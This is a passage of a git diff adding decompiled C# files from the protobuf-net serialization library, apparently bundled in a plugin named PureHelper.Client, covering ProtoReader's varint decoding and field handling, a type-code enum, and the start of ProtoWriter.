available -= num; + position64 += num; + return true; + } + return false; + } + + public uint ReadUInt32() + { + switch (wireType) + { + case WireType.Variant: + return ReadUInt32Variant(trimNegative: false); + case WireType.Fixed32: + if (available < 4) + { + Ensure(4, strict: true); + } + position64 += 4L; + available -= 4; + return (uint)(ioBuffer[ioIndex++] | (ioBuffer[ioIndex++] << 8) | (ioBuffer[ioIndex++] << 16) | (ioBuffer[ioIndex++] << 24)); + case WireType.Fixed64: + { + ulong num = ReadUInt64(); + return checked((uint)num); + } + default: + throw CreateWireTypeException(); + } + } + + internal void Ensure(int count, bool strict) + { + if (count > ioBuffer.Length) + { + BufferPool.ResizeAndFlushLeft(ref ioBuffer, count, ioIndex, available); + ioIndex = 0; + } + else if (ioIndex + count >= ioBuffer.Length) + { + Buffer.BlockCopy(ioBuffer, ioIndex, ioBuffer, 0, available); + ioIndex = 0; + } + count -= available; + int num = ioIndex + available; + int num2 = ioBuffer.Length - num; + if (isFixedLength && dataRemaining64 < num2) + { + num2 = (int)dataRemaining64; + } + int num3; + while (count > 0 && num2 > 0 && (num3 = source.Read(ioBuffer, num, num2)) > 0) + { + available += num3; + count -= num3; + num2 -= num3; + num += num3; + if (isFixedLength) + { + dataRemaining64 -= num3; + } + } + if (strict && count > 0) + { + throw EoF(this); + } + } + + public short ReadInt16() + { + return checked((short)ReadInt32()); + } + + public ushort ReadUInt16() + { + return checked((ushort)ReadUInt32()); + } + + public byte ReadByte() + { + return checked((byte)ReadUInt32()); + } + + public sbyte ReadSByte() + { + return checked((sbyte)ReadInt32()); + } + + public int ReadInt32() + { + switch (wireType) + { + case WireType.Variant: + return (int)ReadUInt32Variant(trimNegative: true); + case WireType.Fixed32: + if (available < 4) + { + Ensure(4, strict: true); + } + position64 += 4L; + available -= 4; + return ioBuffer[ioIndex++] | (ioBuffer[ioIndex++] << 8) | (ioBuffer[ioIndex++] << 16) | (ioBuffer[ioIndex++] << 24); + case WireType.Fixed64: + { + long num = ReadInt64(); + return checked((int)num); + } + case WireType.SignedVariant: + return Zag(ReadUInt32Variant(trimNegative: true)); + default: + throw CreateWireTypeException(); + } + } + + private static int Zag(uint ziggedValue) + { + return (int)(0 - (ziggedValue & 1)) ^ (((int)ziggedValue >> 1) & 0x7FFFFFFF); + } + + private static long Zag(ulong ziggedValue) + { + return (long)(0L - (ziggedValue & 1)) ^ (((long)ziggedValue >> 1) & 0x7FFFFFFFFFFFFFFFL); + } + + public long ReadInt64() + { + switch (wireType) + { + case WireType.Variant: + return (long)ReadUInt64Variant(); + case WireType.Fixed32: + return ReadInt32(); + case WireType.Fixed64: + if (available < 8) + { + Ensure(8, strict: true); + } + position64 += 8L; + available -= 8; + return (long)(ioBuffer[ioIndex++] | ((ulong)ioBuffer[ioIndex++] << 8) | ((ulong)ioBuffer[ioIndex++] << 16) | ((ulong)ioBuffer[ioIndex++] << 24) | ((ulong)ioBuffer[ioIndex++] << 32) | ((ulong)ioBuffer[ioIndex++] << 40) | ((ulong)ioBuffer[ioIndex++] << 48) | ((ulong)ioBuffer[ioIndex++] << 56)); + case WireType.SignedVariant: + return Zag(ReadUInt64Variant()); + default: + throw CreateWireTypeException(); + } + } + + private int TryReadUInt64VariantWithoutMoving(out ulong value) + { + if (available < 10) + { + Ensure(10, strict: false); + } + if (available == 0) + { + value = 0uL; + return 0; + } + int num = ioIndex; + value = ioBuffer[num++]; + if ((value & 0x80) == 0L) + { + return 1; + } + value &= 127uL; + if (available == 1) + { + throw EoF(this); + } + ulong num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 7; + if ((num2 & 0x80) == 0L) + { + return 2; + } + if (available == 2) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 14; + if ((num2 & 0x80) == 0L) + { + return 3; + } + if (available == 3) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 21; + if ((num2 & 0x80) == 0L) + { + return 4; + } + if (available == 4) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 28; + if ((num2 & 0x80) == 0L) + { + return 5; + } + if (available == 5) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 35; + if ((num2 & 0x80) == 0L) + { + return 6; + } + if (available == 6) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 42; + if ((num2 & 0x80) == 0L) + { + return 7; + } + if (available == 7) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 49; + if ((num2 & 0x80) == 0L) + { + return 8; + } + if (available == 8) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 56; + if ((num2 & 0x80) == 0L) + { + return 9; + } + if (available == 9) + { + throw EoF(this); + } + num2 = ioBuffer[num]; + value |= num2 << 63; + if ((num2 & 0xFFFFFFFFFFFFFFFEuL) != 0L) + { + throw AddErrorData(new OverflowException(), this); + } + return 10; + } + + private ulong ReadUInt64Variant() + { + ulong value; + int num = TryReadUInt64VariantWithoutMoving(out value); + if (num > 0) + { + ioIndex += num; + available -= num; + position64 += num; + return value; + } + throw EoF(this); + } + + private string Intern(string value) + { + if (value == null) + { + return null; + } + if (value.Length == 0) + { + return ""; + } + string value2; + if (stringInterner == null) + { + stringInterner = new Dictionary { { value, value } }; + } + else if (stringInterner.TryGetValue(value, out value2)) + { + value = value2; + } + else + { + stringInterner.Add(value, value); + } + return value; + } + + public string ReadString() + { + if (wireType == WireType.String) + { + int num = (int)ReadUInt32Variant(trimNegative: false); + if (num == 0) + { + return ""; + } + if (num < 0) + { + ThrowInvalidLength(num); + } + if (available < num) + { + Ensure(num, strict: true); + } + string text = encoding.GetString(ioBuffer, ioIndex, num); + if (internStrings) + { + text = Intern(text); + } + available -= num; + position64 += num; + ioIndex += num; + return text; + } + throw CreateWireTypeException(); + } + + public void ThrowEnumException(Type type, int value) + { + string text = (((object)type == null) ? "" : type.FullName); + throw AddErrorData(new ProtoException("No " + text + " enum is mapped to the wire-value " + value), this); + } + + private void ThrowInvalidLength(long length) + { + throw AddErrorData(new InvalidOperationException("Invalid length: " + length), this); + } + + private Exception CreateWireTypeException() + { + return CreateException("Invalid wire-type; this usually means you have over-written a file without truncating or setting the length; see https://stackoverflow.com/q/2152978/23354"); + } + + private Exception CreateException(string message) + { + return AddErrorData(new ProtoException(message), this); + } + + public unsafe double ReadDouble() + { + switch (wireType) + { + case WireType.Fixed32: + return ReadSingle(); + case WireType.Fixed64: + { + long num = ReadInt64(); + return *(double*)(&num); + } + default: + throw CreateWireTypeException(); + } + } + + public static object ReadObject(object value, int key, ProtoReader reader) + { + return ReadTypedObject(value, key, reader, null); + } + + internal static object ReadTypedObject(object value, int key, ProtoReader reader, Type type) + { + if (reader.model == null) + { + throw AddErrorData(new InvalidOperationException("Cannot deserialize sub-objects unless a model is provided"), reader); + } + SubItemToken token = StartSubItem(reader); + if (key >= 0) + { + value = reader.model.Deserialize(key, value, reader); + } + else if ((object)type == null || !reader.model.TryDeserializeAuxiliaryType(reader, DataFormat.Default, 1, type, ref value, skipOtherFields: true, asListItem: false, autoCreate: true, insideList: false, null)) + { + TypeModel.ThrowUnexpectedType(type); + } + EndSubItem(token, reader); + return value; + } + + public static void EndSubItem(SubItemToken token, ProtoReader reader) + { + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + long value = token.value64; + WireType wireType = reader.wireType; + if (wireType == WireType.EndGroup) + { + if (value >= 0) + { + throw AddErrorData(new ArgumentException("token"), reader); + } + if (-(int)value != reader.fieldNumber) + { + throw reader.CreateException("Wrong group was ended"); + } + reader.wireType = WireType.None; + reader.depth--; + } + else + { + if (value < reader.position64) + { + throw reader.CreateException($"Sub-message not read entirely; expected {value}, was {reader.position64}"); + } + if (reader.blockEnd64 != reader.position64 && reader.blockEnd64 != long.MaxValue) + { + throw reader.CreateException("Sub-message not read correctly"); + } + reader.blockEnd64 = value; + reader.depth--; + } + } + + public static SubItemToken StartSubItem(ProtoReader reader) + { + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + switch (reader.wireType) + { + case WireType.StartGroup: + reader.wireType = WireType.None; + reader.depth++; + return new SubItemToken((long)(-reader.fieldNumber)); + case WireType.String: + { + long num = (long)reader.ReadUInt64Variant(); + if (num < 0) + { + reader.ThrowInvalidLength(num); + } + long value = reader.blockEnd64; + reader.blockEnd64 = reader.position64 + num; + reader.depth++; + return new SubItemToken(value); + } + default: + throw reader.CreateWireTypeException(); + } + } + + public int ReadFieldHeader() + { + if (blockEnd64 <= position64 || wireType == WireType.EndGroup) + { + return 0; + } + if (TryReadUInt32Variant(out var value) && value != 0) + { + wireType = (WireType)(value & 7); + fieldNumber = (int)(value >> 3); + if (fieldNumber < 1) + { + throw new ProtoException("Invalid field in source data: " + fieldNumber); + } + } + else + { + wireType = WireType.None; + fieldNumber = 0; + } + if (wireType == WireType.EndGroup) + { + if (depth > 0) + { + return 0; + } + throw new ProtoException("Unexpected end-group in source data; this usually means the source data is corrupt"); + } + return fieldNumber; + } + + public bool TryReadFieldHeader(int field) + { + if (blockEnd64 <= position64 || this.wireType == WireType.EndGroup) + { + return false; + } + uint value; + int num = TryReadUInt32VariantWithoutMoving(trimNegative: false, out value); + WireType wireType; + if (num > 0 && (int)value >> 3 == field && (wireType = (WireType)(value & 7)) != WireType.EndGroup) + { + this.wireType = wireType; + fieldNumber = field; + position64 += num; + ioIndex += num; + available -= num; + return true; + } + return false; + } + + public void Hint(WireType wireType) + { + if (this.wireType != wireType && (wireType & (WireType)7) == this.wireType) + { + this.wireType = wireType; + } + } + + public void Assert(WireType wireType) + { + if (this.wireType != wireType) + { + if ((wireType & (WireType)7) != this.wireType) + { + throw CreateWireTypeException(); + } + this.wireType = wireType; + } + } + + public void SkipField() + { + switch (wireType) + { + case WireType.Fixed32: + if (available < 4) + { + Ensure(4, strict: true); + } + available -= 4; + ioIndex += 4; + position64 += 4L; + break; + case WireType.Fixed64: + if (available < 8) + { + Ensure(8, strict: true); + } + available -= 8; + ioIndex += 8; + position64 += 8L; + break; + case WireType.String: + { + long num2 = (long)ReadUInt64Variant(); + if (num2 < 0) + { + ThrowInvalidLength(num2); + } + if (num2 <= available) + { + available -= (int)num2; + ioIndex += (int)num2; + position64 += num2; + break; + } + position64 += num2; + num2 -= available; + ioIndex = (available = 0); + if (isFixedLength) + { + if (num2 > dataRemaining64) + { + throw EoF(this); + } + dataRemaining64 -= num2; + } + Seek(source, num2, ioBuffer); + break; + } + case WireType.Variant: + case WireType.SignedVariant: + ReadUInt64Variant(); + break; + case WireType.StartGroup: + { + int num = fieldNumber; + depth++; + while (ReadFieldHeader() > 0) + { + SkipField(); + } + depth--; + if (wireType == WireType.EndGroup && fieldNumber == num) + { + wireType = WireType.None; + break; + } + throw CreateWireTypeException(); + } + default: + throw CreateWireTypeException(); + } + } + + public ulong ReadUInt64() + { + switch (wireType) + { + case WireType.Variant: + return ReadUInt64Variant(); + case WireType.Fixed32: + return ReadUInt32(); + case WireType.Fixed64: + if (available < 8) + { + Ensure(8, strict: true); + } + position64 += 8L; + available -= 8; + return ioBuffer[ioIndex++] | ((ulong)ioBuffer[ioIndex++] << 8) | ((ulong)ioBuffer[ioIndex++] << 16) | ((ulong)ioBuffer[ioIndex++] << 24) | ((ulong)ioBuffer[ioIndex++] << 32) | ((ulong)ioBuffer[ioIndex++] << 40) | ((ulong)ioBuffer[ioIndex++] << 48) | ((ulong)ioBuffer[ioIndex++] << 56); + default: + throw CreateWireTypeException(); + } + } + + public unsafe float ReadSingle() + { + switch (wireType) + { + case WireType.Fixed32: + { + int num3 = ReadInt32(); + return *(float*)(&num3); + } + case WireType.Fixed64: + { + double num = ReadDouble(); + float num2 = (float)num; + if (float.IsInfinity(num2) && !double.IsInfinity(num)) + { + throw AddErrorData(new OverflowException(), this); + } + return num2; + } + default: + throw CreateWireTypeException(); + } + } + + public bool ReadBoolean() + { + return ReadUInt32() switch + { + 0u => false, + 1u => true, + _ => throw CreateException("Unexpected boolean value"), + }; + } + + public static byte[] AppendBytes(byte[] value, ProtoReader reader) + { + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + switch (reader.wireType) + { + case WireType.String: + { + int num = (int)reader.ReadUInt32Variant(trimNegative: false); + reader.wireType = WireType.None; + if (num == 0) + { + return value ?? EmptyBlob; + } + if (num < 0) + { + reader.ThrowInvalidLength(num); + } + int num2; + if (value == null || value.Length == 0) + { + num2 = 0; + value = new byte[num]; + } + else + { + num2 = value.Length; + byte[] array = new byte[value.Length + num]; + Buffer.BlockCopy(value, 0, array, 0, value.Length); + value = array; + } + reader.position64 += num; + while (num > reader.available) + { + if (reader.available > 0) + { + Buffer.BlockCopy(reader.ioBuffer, reader.ioIndex, value, num2, reader.available); + num -= reader.available; + num2 += reader.available; + reader.ioIndex = (reader.available = 0); + } + int num3 = ((num > reader.ioBuffer.Length) ? reader.ioBuffer.Length : num); + if (num3 > 0) + { + reader.Ensure(num3, strict: true); + } + } + if (num > 0) + { + Buffer.BlockCopy(reader.ioBuffer, reader.ioIndex, value, num2, num); + reader.ioIndex += num; + reader.available -= num; + } + return value; + } + case WireType.Variant: + return new byte[0]; + default: + throw reader.CreateWireTypeException(); + } + } + + private static int ReadByteOrThrow(Stream source) + { + int num = source.ReadByte(); + if (num < 0) + { + throw EoF(null); + } + return num; + } + + public static int ReadLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber) + { + int bytesRead; + return ReadLengthPrefix(source, expectHeader, style, out fieldNumber, out bytesRead); + } + + public static int DirectReadLittleEndianInt32(Stream source) + { + return ReadByteOrThrow(source) | (ReadByteOrThrow(source) << 8) | (ReadByteOrThrow(source) << 16) | (ReadByteOrThrow(source) << 24); + } + + public static int DirectReadBigEndianInt32(Stream source) + { + return (ReadByteOrThrow(source) << 24) | (ReadByteOrThrow(source) << 16) | (ReadByteOrThrow(source) << 8) | ReadByteOrThrow(source); + } + + public static int DirectReadVarintInt32(Stream source) + { + ulong value; + int num = TryReadUInt64Variant(source, out value); + if (num <= 0) + { + throw EoF(null); + } + return checked((int)value); + } + + public static void DirectReadBytes(Stream source, byte[] buffer, int offset, int count) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + int num; + while (count > 0 && (num = source.Read(buffer, offset, count)) > 0) + { + count -= num; + offset += num; + } + if (count > 0) + { + throw EoF(null); + } + } + + public static byte[] DirectReadBytes(Stream source, int count) + { + byte[] array = new byte[count]; + DirectReadBytes(source, array, 0, count); + return array; + } + + public static string DirectReadString(Stream source, int length) + { + byte[] array = new byte[length]; + DirectReadBytes(source, array, 0, length); + return Encoding.UTF8.GetString(array, 0, length); + } + + public static int ReadLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber, out int bytesRead) + { + if (style == PrefixStyle.None) + { + bytesRead = (fieldNumber = 0); + return int.MaxValue; + } + long num = ReadLongLengthPrefix(source, expectHeader, style, out fieldNumber, out bytesRead); + return checked((int)num); + } + + public static long ReadLongLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber, out int bytesRead) + { + fieldNumber = 0; + switch (style) + { + case PrefixStyle.None: + bytesRead = 0; + return long.MaxValue; + case PrefixStyle.Base128: + { + bytesRead = 0; + ulong value; + int num2; + if (expectHeader) + { + num2 = TryReadUInt64Variant(source, out value); + bytesRead += num2; + if (num2 > 0) + { + if ((value & 7) != 2) + { + throw new InvalidOperationException(); + } + fieldNumber = (int)(value >> 3); + num2 = TryReadUInt64Variant(source, out value); + bytesRead += num2; + if (bytesRead == 0) + { + throw EoF(null); + } + return (long)value; + } + bytesRead = 0; + return -1L; + } + num2 = TryReadUInt64Variant(source, out value); + bytesRead += num2; + if (bytesRead >= 0) + { + return (long)value; + } + return -1L; + } + case PrefixStyle.Fixed32: + { + int num3 = source.ReadByte(); + if (num3 < 0) + { + bytesRead = 0; + return -1L; + } + bytesRead = 4; + return num3 | (ReadByteOrThrow(source) << 8) | (ReadByteOrThrow(source) << 16) | (ReadByteOrThrow(source) << 24); + } + case PrefixStyle.Fixed32BigEndian: + { + int num = source.ReadByte(); + if (num < 0) + { + bytesRead = 0; + return -1L; + } + bytesRead = 4; + return (num << 24) | (ReadByteOrThrow(source) << 16) | (ReadByteOrThrow(source) << 8) | ReadByteOrThrow(source); + } + default: + throw new ArgumentOutOfRangeException("style"); + } + } + + private static int TryReadUInt64Variant(Stream source, out ulong value) + { + value = 0uL; + int num = source.ReadByte(); + if (num < 0) + { + return 0; + } + value = (uint)num; + if ((value & 0x80) == 0L) + { + return 1; + } + value &= 127uL; + int num2 = 1; + int num3 = 7; + while (num2 < 9) + { + num = source.ReadByte(); + if (num < 0) + { + throw EoF(null); + } + value |= ((ulong)num & 0x7FuL) << num3; + num3 += 7; + num2++; + if ((num & 0x80) == 0) + { + return num2; + } + } + num = source.ReadByte(); + if (num < 0) + { + throw EoF(null); + } + if ((num & 1) == 0) + { + value |= ((ulong)num & 0x7FuL) << num3; + return ++num2; + } + throw new OverflowException(); + } + + internal static void Seek(Stream source, long count, byte[] buffer) + { + if (source.CanSeek) + { + source.Seek(count, SeekOrigin.Current); + count = 0L; + } + else if (buffer != null) + { + int num; + while (count > buffer.Length && (num = source.Read(buffer, 0, buffer.Length)) > 0) + { + count -= num; + } + while (count > 0 && (num = source.Read(buffer, 0, (int)count)) > 0) + { + count -= num; + } + } + else + { + buffer = BufferPool.GetBuffer(); + try + { + int num2; + while (count > buffer.Length && (num2 = source.Read(buffer, 0, buffer.Length)) > 0) + { + count -= num2; + } + while (count > 0 && (num2 = source.Read(buffer, 0, (int)count)) > 0) + { + count -= num2; + } + } + finally + { + BufferPool.ReleaseBufferToPool(ref buffer); + } + } + if (count > 0) + { + throw EoF(null); + } + } + + internal static Exception AddErrorData(Exception exception, ProtoReader source) + { + if (exception != null && source != null && !exception.Data.Contains("protoSource")) + { + exception.Data.Add("protoSource", string.Format("tag={0}; wire-type={1}; offset={2}; depth={3}", new object[4] { source.fieldNumber, source.wireType, source.position64, source.depth })); + } + return exception; + } + + private static Exception EoF(ProtoReader source) + { + return AddErrorData(new EndOfStreamException(), source); + } + + public void AppendExtensionData(IExtensible instance) + { + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + IExtension extensionObject = instance.GetExtensionObject(createIfMissing: true); + bool commit = false; + Stream stream = extensionObject.BeginAppend(); + try + { + using (ProtoWriter protoWriter = ProtoWriter.Create(stream, model)) + { + AppendExtensionField(protoWriter); + protoWriter.Close(); + } + commit = true; + } + finally + { + extensionObject.EndAppend(stream, commit); + } + } + + private void AppendExtensionField(ProtoWriter writer) + { + ProtoWriter.WriteFieldHeader(fieldNumber, wireType, writer); + switch (wireType) + { + case WireType.Fixed32: + ProtoWriter.WriteInt32(ReadInt32(), writer); + break; + case WireType.Variant: + case WireType.Fixed64: + case WireType.SignedVariant: + ProtoWriter.WriteInt64(ReadInt64(), writer); + break; + case WireType.String: + ProtoWriter.WriteBytes(AppendBytes(null, this), writer); + break; + case WireType.StartGroup: + { + SubItemToken token = StartSubItem(this); + SubItemToken token2 = ProtoWriter.StartSubItem(null, writer); + while (ReadFieldHeader() > 0) + { + AppendExtensionField(writer); + } + EndSubItem(token, this); + ProtoWriter.EndSubItem(token2, writer); + break; + } + default: + throw CreateWireTypeException(); + } + } + + public static bool HasSubValue(WireType wireType, ProtoReader source) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (source.blockEnd64 <= source.position64 || wireType == WireType.EndGroup) + { + return false; + } + source.wireType = wireType; + return true; + } + + internal int GetTypeKey(ref Type type) + { + return model.GetKey(ref type); + } + + internal Type DeserializeType(string value) + { + return TypeModel.DeserializeType(model, value); + } + + internal void SetRootObject(object value) + { + netCache.SetKeyedObject(0, value); + trapCount--; + } + + public static void NoteObject(object value, ProtoReader reader) + { + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + if (reader.trapCount != 0) + { + reader.netCache.RegisterTrappedObject(value); + reader.trapCount--; + } + } + + public Type ReadType() + { + return TypeModel.DeserializeType(model, ReadString()); + } + + internal void TrapNextObject(int newObjectKey) + { + trapCount++; + netCache.SetKeyedObject(newObjectKey, null); + } + + internal void CheckFullyConsumed() + { + if (isFixedLength) + { + if (dataRemaining64 != 0L) + { + throw new ProtoException("Incorrect number of bytes consumed"); + } + } + else if (available != 0) + { + throw new ProtoException("Unconsumed data left in the buffer; this suggests corrupt input"); + } + } + + public static object Merge(ProtoReader parent, object from, object to) + { + if (parent == null) + { + throw new ArgumentNullException("parent"); + } + TypeModel typeModel = parent.Model; + SerializationContext serializationContext = parent.Context; + if (typeModel == null) + { + throw new InvalidOperationException("Types cannot be merged unless a type-model has been specified"); + } + using MemoryStream memoryStream = new MemoryStream(); + typeModel.Serialize(memoryStream, from, serializationContext); + memoryStream.Position = 0L; + return typeModel.Deserialize(memoryStream, to, null); + } + + internal static ProtoReader Create(Stream source, TypeModel model, SerializationContext context, int len) + { + return Create(source, model, context, (long)len); + } + + public static ProtoReader Create(Stream source, TypeModel model, SerializationContext context = null, long length = -1L) + { + ProtoReader recycled = GetRecycled(); + if (recycled == null) + { + return new ProtoReader(source, model, context, length); + } + Init(recycled, source, model, context, length); + return recycled; + } + + private static ProtoReader GetRecycled() + { + ProtoReader result = lastReader; + lastReader = null; + return result; + } + + internal static void Recycle(ProtoReader reader) + { + if (reader != null) + { + reader.Dispose(); + lastReader = reader; + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoTypeCode.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoTypeCode.cs new file mode 100644 index 0000000..1c91afe --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoTypeCode.cs @@ -0,0 +1,27 @@ +namespace ProtoBuf; + +internal enum ProtoTypeCode +{ + Empty = 0, + Unknown = 1, + Boolean = 3, + Char = 4, + SByte = 5, + Byte = 6, + Int16 = 7, + UInt16 = 8, + Int32 = 9, + UInt32 = 10, + Int64 = 11, + UInt64 = 12, + Single = 13, + Double = 14, + Decimal = 15, + DateTime = 16, + String = 18, + TimeSpan = 100, + ByteArray = 101, + Guid = 102, + Uri = 103, + Type = 104 +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoWriter.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoWriter.cs new file mode 100644 index 0000000..0c9b8df --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoWriter.cs @@ -0,0 +1,953 @@ +using System; +using System.IO; +using System.Text; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +public sealed class ProtoWriter : IDisposable +{ + private Stream dest; + + private TypeModel model; + + private readonly NetObjectCache netCache = new NetObjectCache(); + + private int fieldNumber; + + private int flushLock; + + private WireType wireType; + + private int depth; + + private const int RecursionCheckDepth = 25; + + private MutableList recursionStack; + + private readonly SerializationContext context; + + private byte[] ioBuffer; + + private int ioIndex; + + private long position64; + + private static readonly UTF8Encoding encoding = new UTF8Encoding(); + + private int packedFieldNumber; + + internal NetObjectCache NetCache => netCache; + + internal WireType WireType => wireType; + + public SerializationContext Context => context; + + public TypeModel Model => model; + + public static void WriteObject(object value, int key, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (writer.model == null) + { + throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); + } + SubItemToken token = StartSubItem(value, writer); + if (key >= 0) + { + writer.model.Serialize(key, value, writer); + } + else if (writer.model == null || !writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, 1, value, isInsideList: false, null)) + { + TypeModel.ThrowUnexpectedType(value.GetType()); + } + EndSubItem(token, writer); + } + + public static void WriteRecursionSafeObject(object value, int key, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (writer.model == null) + { + throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); + } + SubItemToken token = StartSubItem(null, writer); + writer.model.Serialize(key, value, writer); + EndSubItem(token, writer); + } + + internal static void WriteObject(object value, int key, ProtoWriter writer, PrefixStyle style, int fieldNumber) + { + if (writer.model == null) + { + throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); + } + if (writer.wireType != WireType.None) + { + throw CreateException(writer); + } + switch (style) + { + case PrefixStyle.Base128: + writer.wireType = WireType.String; + writer.fieldNumber = fieldNumber; + if (fieldNumber > 0) + { + WriteHeaderCore(fieldNumber, WireType.String, writer); + } + break; + case PrefixStyle.Fixed32: + case PrefixStyle.Fixed32BigEndian: + writer.fieldNumber = 0; + writer.wireType = WireType.Fixed32; + break; + default: + throw new ArgumentOutOfRangeException("style"); + } + SubItemToken token = StartSubItem(value, writer, allowFixed: true); + if (key < 0) + { + if (!writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, 1, value, isInsideList: false, null)) + { + TypeModel.ThrowUnexpectedType(value.GetType()); + } + } + else + { + writer.model.Serialize(key, value, writer); + } + EndSubItem(token, writer, style); + } + + internal int GetTypeKey(ref Type type) + { + return model.GetKey(ref type); + } + + public static void WriteFieldHeader(int fieldNumber, WireType wireType, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (writer.wireType != WireType.None) + { + throw new InvalidOperationException("Cannot write a " + wireType.ToString() + " header until the " + writer.wireType.ToString() + " data has been written"); + } + if (fieldNumber < 0) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + if (writer.packedFieldNumber == 0) + { + writer.fieldNumber = fieldNumber; + writer.wireType = wireType; + WriteHeaderCore(fieldNumber, wireType, writer); + return; + } + if (writer.packedFieldNumber == fieldNumber) + { + if ((uint)wireType > 1u && wireType != WireType.Fixed32 && wireType != WireType.SignedVariant) + { + throw new InvalidOperationException("Wire-type cannot be encoded as packed: " + wireType); + } + writer.fieldNumber = fieldNumber; + writer.wireType = wireType; + return; + } + throw new InvalidOperationException("Field mismatch during packed encoding; expected " + writer.packedFieldNumber + " but received " + fieldNumber); + } + + internal static void WriteHeaderCore(int fieldNumber, WireType wireType, ProtoWriter writer) + { + uint value = (uint)(fieldNumber << 3) | (uint)(wireType & (WireType)7); + WriteUInt32Variant(value, writer); + } + + public static void WriteBytes(byte[] data, ProtoWriter writer) + { + if (data == null) + { + throw new ArgumentNullException("data"); + } + WriteBytes(data, 0, data.Length, writer); + } + + public static void WriteBytes(byte[] data, int offset, int length, ProtoWriter writer) + { + if (data == null) + { + throw new ArgumentNullException("data"); + } + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed32: + if (length != 4) + { + throw new ArgumentException("length"); + } + break; + case WireType.Fixed64: + if (length != 8) + { + throw new ArgumentException("length"); + } + break; + case WireType.String: + WriteUInt32Variant((uint)length, writer); + writer.wireType = WireType.None; + if (length == 0) + { + return; + } + if (writer.flushLock == 0 && length > writer.ioBuffer.Length) + { + Flush(writer); + writer.dest.Write(data, offset, length); + writer.position64 += length; + return; + } + break; + default: + throw CreateException(writer); + } + DemandSpace(length, writer); + Buffer.BlockCopy(data, offset, writer.ioBuffer, writer.ioIndex, length); + IncrementedAndReset(length, writer); + } + + private static void CopyRawFromStream(Stream source, ProtoWriter writer) + { + byte[] array = writer.ioBuffer; + int num = array.Length - writer.ioIndex; + int num2 = 1; + while (num > 0 && (num2 = source.Read(array, writer.ioIndex, num)) > 0) + { + writer.ioIndex += num2; + writer.position64 += num2; + num -= num2; + } + if (num2 <= 0) + { + return; + } + if (writer.flushLock == 0) + { + Flush(writer); + while ((num2 = source.Read(array, 0, array.Length)) > 0) + { + writer.dest.Write(array, 0, num2); + writer.position64 += num2; + } + return; + } + while (true) + { + DemandSpace(128, writer); + if ((num2 = source.Read(writer.ioBuffer, writer.ioIndex, writer.ioBuffer.Length - writer.ioIndex)) > 0) + { + writer.position64 += num2; + writer.ioIndex += num2; + continue; + } + break; + } + } + + private static void IncrementedAndReset(int length, ProtoWriter writer) + { + writer.ioIndex += length; + writer.position64 += length; + writer.wireType = WireType.None; + } + + public static SubItemToken StartSubItem(object instance, ProtoWriter writer) + { + return StartSubItem(instance, writer, allowFixed: false); + } + + private void CheckRecursionStackAndPush(object instance) + { + int num; + if (recursionStack == null) + { + recursionStack = new MutableList(); + } + else if (instance != null && (num = recursionStack.IndexOfReference(instance)) >= 0) + { + throw new ProtoException("Possible recursion detected (offset: " + (recursionStack.Count - num) + " level(s)): " + instance.ToString()); + } + recursionStack.Add(instance); + } + + private void PopRecursionStack() + { + recursionStack.RemoveLast(); + } + + private static SubItemToken StartSubItem(object instance, ProtoWriter writer, bool allowFixed) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (++writer.depth > 25) + { + writer.CheckRecursionStackAndPush(instance); + } + if (writer.packedFieldNumber != 0) + { + throw new InvalidOperationException("Cannot begin a sub-item while performing packed encoding"); + } + switch (writer.wireType) + { + case WireType.StartGroup: + writer.wireType = WireType.None; + return new SubItemToken((long)(-writer.fieldNumber)); + case WireType.String: + writer.wireType = WireType.None; + DemandSpace(32, writer); + writer.flushLock++; + writer.position64++; + return new SubItemToken((long)writer.ioIndex++); + case WireType.Fixed32: + { + if (!allowFixed) + { + throw CreateException(writer); + } + DemandSpace(32, writer); + writer.flushLock++; + SubItemToken result = new SubItemToken((long)writer.ioIndex); + IncrementedAndReset(4, writer); + return result; + } + default: + throw CreateException(writer); + } + } + + public static void EndSubItem(SubItemToken token, ProtoWriter writer) + { + EndSubItem(token, writer, PrefixStyle.Base128); + } + + private static void EndSubItem(SubItemToken token, ProtoWriter writer, PrefixStyle style) + { + if 